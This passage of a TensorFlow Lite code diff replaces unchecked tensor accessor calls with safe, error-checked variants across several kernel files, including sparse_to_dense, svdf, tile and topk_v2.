   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);
 
@@ -80,8 +83,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteSpaceToDepthParams*>(node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
 #define TF_LITE_SPACE_TO_DEPTH(type, scalar)                               \
   tflite::SpaceToDepthParams op_params;                                    \
diff --git a/tensorflow/lite/kernels/sparse_to_dense.cc b/tensorflow/lite/kernels/sparse_to_dense.cc
index 4aea0f491bc130..566a89ce75c80c 100644
--- a/tensorflow/lite/kernels/sparse_to_dense.cc
+++ b/tensorflow/lite/kernels/sparse_to_dense.cc
@@ -143,12 +143,18 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 4);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* indices = GetInput(context, node, kIndicesTensor);
-  const TfLiteTensor* output_shape =
-      GetInput(context, node, kOutputShapeTensor);
-  const TfLiteTensor* values = GetInput(context, node, kValueInputTensor);
-  const TfLiteTensor* default_value =
-      GetInput(context, node, kDefaultValueTensor);
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kIndicesTensor, &indices));
+  const TfLiteTensor* output_shape;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kOutputShapeTensor, &output_shape));
+  const TfLiteTensor* values;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kValueInputTensor, &values));
+  const TfLiteTensor* default_value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDefaultValueTensor,
+                                          &default_value));
 
   // TODO(renjieliu): Handle validate_indices.
 
@@ -178,7 +184,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_OK(
       context, CheckDimensionsMatch(context, indices, output_shape, values));
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = values->type;
   TF_LITE_ENSURE_EQ(context, NumDimensions(output_shape), 1);
 
@@ -191,13 +199,21 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
 template <typename T, typename TI>
 TfLiteStatus SparseToDenseImpl(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* indices = GetInput(context, node, kIndicesTensor);
-  const TfLiteTensor* output_shape =
-      GetInput(context, node, kOutputShapeTensor);
-  const TfLiteTensor* values = GetInput(context, node, kValueInputTensor);
-  const TfLiteTensor* default_value =
-      GetInput(context, node, kDefaultValueTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kIndicesTensor, &indices));
+  const TfLiteTensor* output_shape;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kOutputShapeTensor, &output_shape));
+  const TfLiteTensor* values;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kValueInputTensor, &values));
+  const TfLiteTensor* default_value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDefaultValueTensor,
+                                          &default_value));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
@@ -238,8 +254,12 @@ TfLiteStatus EvalForIndexType(TfLiteContext* context, TfLiteNode* node,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* indices = GetInput(context, node, kIndicesTensor);
-  const TfLiteTensor* values = GetInput(context, node, kValueInputTensor);
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kIndicesTensor, &indices));
+  const TfLiteTensor* values;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kValueInputTensor, &values));
 
   switch (values->type) {
     case kTfLiteFloat32:
diff --git a/tensorflow/lite/kernels/split.cc b/tensorflow/lite/kernels/split.cc
index 3b7781f409e2fe..251a9d893c30a0 100644
--- a/tensorflow/lite/kernels/split.cc
+++ b/tensorflow/lite/kernels/split.cc
@@ -41,7 +41,9 @@ struct OpContext {
 
 TfLiteStatus UseDynamicOutputTensors(TfLiteContext* context, TfLiteNode* node) {
   for (int i = 0; i < NumOutputs(node); ++i) {
-    SetTensorToDynamic(GetOutput(context, node, i));
+    TfLiteTensor* tensor;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &tensor));
+    SetTensorToDynamic(tensor);
   }
   return kTfLiteOk;
 }
@@ -65,7 +67,8 @@ TfLiteStatus ResizeOutputTensors(TfLiteContext* context, TfLiteNode* node,
   for (int i = 0; i < NumOutputs(node); ++i) {
     TfLiteIntArray* output_dims = TfLiteIntArrayCopy(input->dims);
     output_dims->data[axis_value] = slice_size;
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, output, output_dims));
   }
 
@@ -85,7 +88,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                      input_type == kTfLiteInt8 || input_type == kTfLiteInt16 ||
                      input_type == kTfLiteInt32);
   for (int i = 0; i < NumOutputs(node); ++i) {
-    GetOutput(context, node, i)->type = input_type;
+    TfLiteTensor* tensor;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &tensor));
+    tensor->type = input_type;
   }
 
   // If we know the contents of the 'axis' tensor, resize all outputs.
diff --git a/tensorflow/lite/kernels/split_v.cc b/tensorflow/lite/kernels/split_v.cc
index 7d60086a91ddd2..054e00572f5a60 100644
--- a/tensorflow/lite/kernels/split_v.cc
+++ b/tensorflow/lite/kernels/split_v.cc
@@ -45,7 +45,9 @@ struct OpContext {
 
 TfLiteStatus UseDynamicOutputTensors(TfLiteContext* context, TfLiteNode* node) {
   for (int i = 0; i < NumOutputs(node); ++i) {
-    SetTensorToDynamic(GetOutput(context, node, i));
+    TfLiteTensor* tensor;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &tensor));
+    SetTensorToDynamic(tensor);
   }
   return kTfLiteOk;
 }
@@ -113,7 +115,8 @@ TfLiteStatus ResizeOutputTensors(TfLiteContext* context, TfLiteNode* node,
   for (int i = 0; i < NumOutputs(node); ++i) {
     TfLiteIntArray* output_dims = TfLiteIntArrayCopy(input->dims);
     output_dims->data[axis_value] = size_splits_vector.at(i);
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, output, output_dims));
   }
 
@@ -133,7 +136,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                      input_type == kTfLiteInt16 || input_type == kTfLiteInt32 ||
                      input_type == kTfLiteInt64 || input_type == kTfLiteInt8);
   for (int i = 0; i < NumOutputs(node); ++i) {
-    GetOutput(context, node, i)->type = input_type;
+    TfLiteTensor* tensor;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &tensor));
+    tensor->type = input_type;
   }
 
   auto size_splits = op_context.size_splits;
diff --git a/tensorflow/lite/kernels/squared_difference.cc b/tensorflow/lite/kernels/squared_difference.cc
index ff09995845ede9..c1a20dcc3b6461 100644
--- a/tensorflow/lite/kernels/squared_difference.cc
+++ b/tensorflow/lite/kernels/squared_difference.cc
@@ -60,9 +60,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
   output->type = input2->type;
@@ -101,9 +107,15 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
   ruy::profiler::ScopeLabel label("SquaredDifference");
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type == kTfLiteFloat32) {
     EvalSquaredDifference<float>(context, node, data, input1, input2, output);
diff --git a/tensorflow/lite/kernels/sub.cc b/tensorflow/lite/kernels/sub.cc
index f93ebecd46df99..d9beba967d390c 100644
--- a/tensorflow/lite/kernels/sub.cc
+++ b/tensorflow/lite/kernels/sub.cc
@@ -217,9 +217,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
   output->type = input2->type;
@@ -435,9 +441,15 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteSubParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type == kTfLiteFloat32 || output->type == kTfLiteInt32 ||
       output->type == kTfLiteInt64) {
diff --git a/tensorflow/lite/kernels/svdf.cc b/tensorflow/lite/kernels/svdf.cc
index 1b8bf904b8ac31..f3a17e1d3b533a 100644
--- a/tensorflow/lite/kernels/svdf.cc
+++ b/tensorflow/lite/kernels/svdf.cc
@@ -82,11 +82,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, node->outputs->size, 1);
   TF_LITE_ENSURE_EQ(context, node->inputs->size, 5);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* weights_feature =
-      GetInput(context, node, kWeightsFeatureTensor);
-  const TfLiteTensor* weights_time =
-      GetInput(context, node, kWeightsTimeTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* weights_feature;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kWeightsFeatureTensor,
+                                          &weights_feature));
+  const TfLiteTensor* weights_time;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kWeightsTimeTensor, &weights_time));
 
   TF_LITE_ENSURE(context,
                  input->type == kTfLiteFloat32 || input->type == kTfLiteInt8);
@@ -108,8 +111,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     TF_LITE_ENSURE_EQ(context, bias->dims->data[0], num_units);
   }
 
-  const TfLiteTensor* state = GetInput(context, node, kStateTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* state;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kStateTensor, &state));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Check the shape of input state tensors.
   TF_LITE_ENSURE_EQ(context, NumDimensions(state), 2);
@@ -143,7 +149,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   scratch_size_array->data[0] = batch_size;
   scratch_size_array->data[1] = num_filters;
 
-  TfLiteTensor* scratch_tensor = GetTemporary(context, node, /*index=*/0);
+  TfLiteTensor* scratch_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/0, &scratch_tensor));
 
   // The scratch buffer is of type int32 for full integer svdf and it's of type
   // float32 for hybrid and float case.
@@ -161,7 +169,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // Tell interpreter to allocate temporary tensors to store quantized values
     // of input tensors.
     node->temporaries->data[1] = scratch_tensor_index + 1;
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/1);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                &input_quantized));
     input_quantized->type = weights_feature->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -172,7 +182,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
     // Tell interpreter to allocate temporary tensors to store scaling factors.
     node->temporaries->data[2] = scratch_tensor_index + 2;
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/2);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/2,
+                                                &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {batch_size};
@@ -186,7 +198,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // Used to store dequantized weights_time matrix for hybrid computation of
     // matmul(state, weights_time), which occurs in floating point.
     node->temporaries->data[3] = scratch_tensor_index + 3;
-    TfLiteTensor* float_weights_time = GetTemporary(context, node, /*index=*/3);
+    TfLiteTensor* float_weights_time;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/3,
+                                                &float_weights_time));
     float_weights_time->type = kTfLiteFloat32;
     // Persistent so that we can compute the dequantized weights only once.
     float_weights_time->allocation_type = kTfLiteArenaRwPersistent;
@@ -199,7 +213,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
 
     node->temporaries->data[4] = scratch_tensor_index + 4;
-    TfLiteTensor* zero_points = GetTemporary(context, node, /*index=*/4);
+    TfLiteTensor* zero_points;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/4, &zero_points));
     zero_points->type = kTfLiteFloat32;
     zero_points->allocation_type = kTfLiteArenaRw;
     int zero_points_dims[1] = {batch_size};
@@ -211,7 +227,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
 
     node->temporaries->data[5] = scratch_tensor_index + 5;
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/5);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/5, &row_sums));
     row_sums->type = kTfLiteFloat32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int row_sums_dims[1] = {num_filters};
@@ -228,7 +246,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     output_temp_size_array->data[0] = num_units;
     output_temp_size_array->data[1] = batch_size;
     node->temporaries->data[1] = scratch_tensor_index + 1;
-    TfLiteTensor* output_temp = GetTemporary(context, node, /*index=*/1);
+    TfLiteTensor* output_temp;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/1, &output_temp));
     output_temp->type = kTfLiteInt32;
     output_temp->allocation_type = kTfLiteArenaRw;
     TF_LITE_ENSURE_OK(context, context->ResizeTensor(context, output_temp,
@@ -263,17 +283,24 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteSVDFParams*>(node->builtin_data);
   OpData* op_data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* weights_feature =
-      GetInput(context, node, kWeightsFeatureTensor);
-  const TfLiteTensor* weights_time =
-      GetInput(context, node, kWeightsTimeTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* weights_feature;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kWeightsFeatureTensor,
+                                          &weights_feature));
+  const TfLiteTensor* weights_time;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kWeightsTimeTensor, &weights_time));
   const TfLiteTensor* bias = GetOptionalInputTensor(context, node, kBiasTensor);
 
-  TfLiteTensor* scratch = GetTemporary(context, node, /*index=*/0);
+  TfLiteTensor* scratch;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/0, &scratch));
 
   TfLiteTensor* state = GetVariableInput(context, node, kStateTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (weights_feature->type) {
     case kTfLiteFloat32: {
@@ -286,14 +313,21 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
     case kTfLiteUInt8:
     case kTfLiteInt8: {
       if (input->type == kTfLiteFloat32) {
-        TfLiteTensor* input_quantized =
-            GetTemporary(context, node, /*index=*/1);
-        TfLiteTensor* scaling_factors =
-            GetTemporary(context, node, /*index=*/2);
-        TfLiteTensor* float_weights_time =
-            GetTemporary(context, node, /*index=*/3);
-        TfLiteTensor* zero_points = GetTemporary(context, node, /*index=*/4);
-        TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/5);
+        TfLiteTensor* input_quantized;
+        TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                    &input_quantized));
+        TfLiteTensor* scaling_factors;
+        TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/2,
+                                                    &scaling_factors));
+        TfLiteTensor* float_weights_time;
+        TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/3,
+                                                    &float_weights_time));
+        TfLiteTensor* zero_points;
+        TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/4,
+                                                    &zero_points));
+        TfLiteTensor* row_sums;
+        TF_LITE_ENSURE_OK(
+            context, GetTemporarySafe(context, node, /*index=*/5, &row_sums));
         // Dequantize weights time.
         // TODO(alanchiao): this dequantization initialization only needs to
         // happen once per model and should theoretically be placed in either
@@ -322,7 +356,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
             input->quantization.params);
         auto* output_params = reinterpret_cast<TfLiteAffineQuantization*>(
             output->quantization.params);
-        TfLiteTensor* output_temp = GetTemporary(context, node, /*index=*/1);
+        TfLiteTensor* output_temp;
+        TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                    &output_temp));
 
         // Currently supports only ReLU.
         // TODO(jianlijianli): support other activations.
diff --git a/tensorflow/lite/kernels/tile.cc b/tensorflow/lite/kernels/tile.cc
index 08d246203ae716..b2df35e739cce3 100644
--- a/tensorflow/lite/kernels/tile.cc
+++ b/tensorflow/lite/kernels/tile.cc
@@ -49,9 +49,14 @@ TfLiteIntArray* MultiplyShapeDims(const TfLiteIntArray& shape,
 }
 
 TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* multipliers;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputMultipliers, &multipliers));
 
   const int num_dimensions = NumDimensions(input);
   const int num_multipliers = NumElements(multipliers);
@@ -208,12 +213,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
-  const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);
+  const TfLiteTensor* multipliers;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputMultipliers, &multipliers));
   // Only int32 and int64 multipliers type is supported.
   if (multipliers->type != kTfLiteInt32 && multipliers->type != kTfLiteInt64) {
     context->ReportError(context,
@@ -231,9 +241,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* multipliers;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputMultipliers, &multipliers));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));
diff --git a/tensorflow/lite/kernels/topk_v2.cc b/tensorflow/lite/kernels/topk_v2.cc
index 3fb241356e1084..5531e75ac131ae 100644
--- a/tensorflow/lite/kernels/topk_v2.cc
+++ b/tensorflow/lite/kernels/topk_v2.cc
@@ -35,14 +35,16 @@ constexpr int kOutputIndexes = 1;
 
 namespace {
 TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* top_k = GetInput(context, node, kInputTopK);
+  const TfLiteTensor* top_k;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTopK, &top_k));
   // INT32 number of top results is supported.
   TF_LITE_ENSURE_TYPES_EQ(context, top_k->type, kTfLiteInt32);
   // Check that the tensor contains only one value.
   TF_LITE_ENSURE_EQ(context, NumElements(top_k), 1);
   const int32 k = *GetTensorData<int32_t>(top_k);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const int num_dimensions = NumDimensions(input);
   // Check that input has one or more dimensions.
   TF_LITE_ENSURE_MSG(context, input->dims->size >= 1,
@@ -59,8 +61,12 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {
   }
   output_indexes_shape->data[num_dimensions - 1] = k;
   output_values_shape->data[num_dimensions - 1] = k;
-  TfLiteTensor* output_indexes = GetOutput(context, node, kOutputIndexes);
-  TfLiteTensor* output_values = GetOutput(context, node, kOutputValues);
+  TfLiteTensor* output_indexes;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputIndexes, &output_indexes));
+  TfLiteTensor* output_values;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputValues, &output_values));
   // Force output types.
   output_indexes->type = kTfLiteInt32;
   output_values->type = input->type;
@@ -195,19 +201,27 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 2);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output_values = GetOutput(context, node, kOutputValues);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output_values;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputValues, &output_values));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output_values->type);
 
-  const TfLiteTensor* top_k = GetInput(context, node, kInputTopK);
+  const TfLiteTensor* top_k;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTopK, &top_k));
   TF_LITE_ENSURE_TYPES_EQ(context, top_k->type, kTfLiteInt32);
 
   // Set output dynamic if the input is not const.
   if (IsConstantTensor(top_k)) {
     TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));
   } else {
-    TfLiteTensor* output_indexes = GetOutput(context, node, kOutputIndexes);
-    TfLiteTensor* output_values = GetOutput(context, node, kOutputValues);
+    TfLiteTensor* output_indexes;
+    TF_LITE_ENSURE_OK(
+        context, GetOutputSafe(context, node, kOutputIndexes, &output_indexes));
+    TfLiteTensor* output_values;
+    TF_LITE_ENSURE_OK(
+        context, GetOutputSafe(context, node, kOutputValues, &output_values));
     SetTensorToDynamic(output_indexes);
     SetTensorToDynamic(output_values);
   }
@@ -215,16 +229,22 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  TfLiteTensor* output_values = GetOutput(context, node, kOutputValues);
-  TfLiteTensor* output_indexes = GetOutput(context, node, kOutputIndexes);
+  TfLiteTensor* output_values;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputValues, &output_values));
+  TfLiteTensor* output_indexes;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputIndexes, &output_indexes));
   if (IsDynamicTensor(output_values)) {
     TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));
   }
-  const TfLiteTensor* top_k = GetInput(context, node, kInputTopK);
+  const TfLiteTensor* top_k;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTopK, &top_k));
   const int32 k = top_k->data.i32[0];
   // The tensor can have more than 2 dimensions or even be a vector, the code
   // anyway calls the internal dimension as row;
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const int32 row_size = input->dims->data[input->dims->size - 1];
   int32 num_rows = 1;
   for (int i = 0; i < input->dims->size - 1; ++i) {
diff --git a/tensorflow/lite/kernels/transpose_conv.cc b/tensorflow/lite/kernels/transpose_conv.cc
index 9ecd16274a0d24..52ee0414dd67c4 100644
--- a/tensorflow/lite/kernels/transpose_conv.cc
+++ b/tensorflow/lite/kernels/transpose_conv.cc
@@ -250,13 +250,20 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
   // Retrieve tensors
-  const TfLiteTensor* output_shape =
-      GetInput(context, node, kOutputShapeTensor);
-  const TfLiteTensor* weights = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* input = GetInput(context, node, kDataInputTensor);
+  const TfLiteTensor* output_shape;
+  TF_LITE_ENSURE_OK(
